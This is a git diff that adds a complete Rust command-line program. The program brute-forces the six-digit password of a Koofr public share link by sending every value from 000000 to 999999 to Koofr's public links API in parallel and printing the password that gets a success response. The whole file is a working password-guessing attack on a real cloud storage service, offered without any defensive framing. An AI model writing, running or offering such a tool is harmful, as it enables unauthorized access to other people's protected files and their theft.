1 files changed, 69 insertions, 0 deletions
diff --git a/src/main.rs b/src/main.rs
new file mode 100644
index 0000000..03f0f24
--- /dev/null
+++ b/src/main.rs
@@ -0,0 +1,69 @@
+use clap::Parser;
+use reqwest::{Client, StatusCode};
+use std::sync::{
+    Arc,
+    atomic::{AtomicBool, Ordering},
+};
+use tokio::task::JoinSet;
+
+#[derive(Debug, Parser)]
+struct Cli {
+    link: Arc<String>,
+    #[arg(default_value_t = 0)]
+    start: u32,
+    #[arg(default_value_t = 999999)]
+    end: u32,
+}
+
+async fn query_api(client: &Client, link: &str, pass: u32) -> Result<Option<u32>, u32> {
+    let url = format!("https://app.koofr.net/api/v2/public/links/{link}?password={pass:06}");
+    match client.get(&url).send().await {
+        Ok(resp) => match resp.status() {
+            StatusCode::OK => Ok(Some(pass)),
+            StatusCode::UNAUTHORIZED => Ok(None),
+            _ => Err(pass),
+        },
+        Err(_) => Err(pass),
+    }
+}
+
+#[tokio::main]
+async fn main() -> anyhow::Result<()> {
+    let args = Cli::parse();
+    let client = Client::new();
+    let running = Arc::new(AtomicBool::new(true));
+    let r = running.clone();
+
+    ctrlc::set_handler(move || {
+        r.store(false, Ordering::SeqCst);
+    })
+    .expect("Error setting ctrl+c handler");
+
+    for passes in (args.start..args.end).collect::<Vec<_>>().chunks(4) {
+        if !running.load(Ordering::SeqCst) {
+            println!("Stopped at:\t{}", passes.first().unwrap());
+            return Ok(());
+        }
+        let mut set = JoinSet::<Result<Option<u32>, u32>>::new();
+
+        for pass in passes {
+            let link = args.link.clone();
+            let client = client.clone();
+            let p = *pass;
+            set.spawn(async move { query_api(&client, &link, p).await });
+        }
+
+        while let Some(res) = set.join_next().await {
+            match res? {
+                Ok(Some(num)) => {
+                    println!("Found:\t{num}");
+                    return Ok(());
+                }
+                Err(num) => eprintln!("Error on:\t{num}"),
+                _ => (),
+            }
+        }
+    }
+
+    Err(anyhow::anyhow!("Nothing was found"))
+}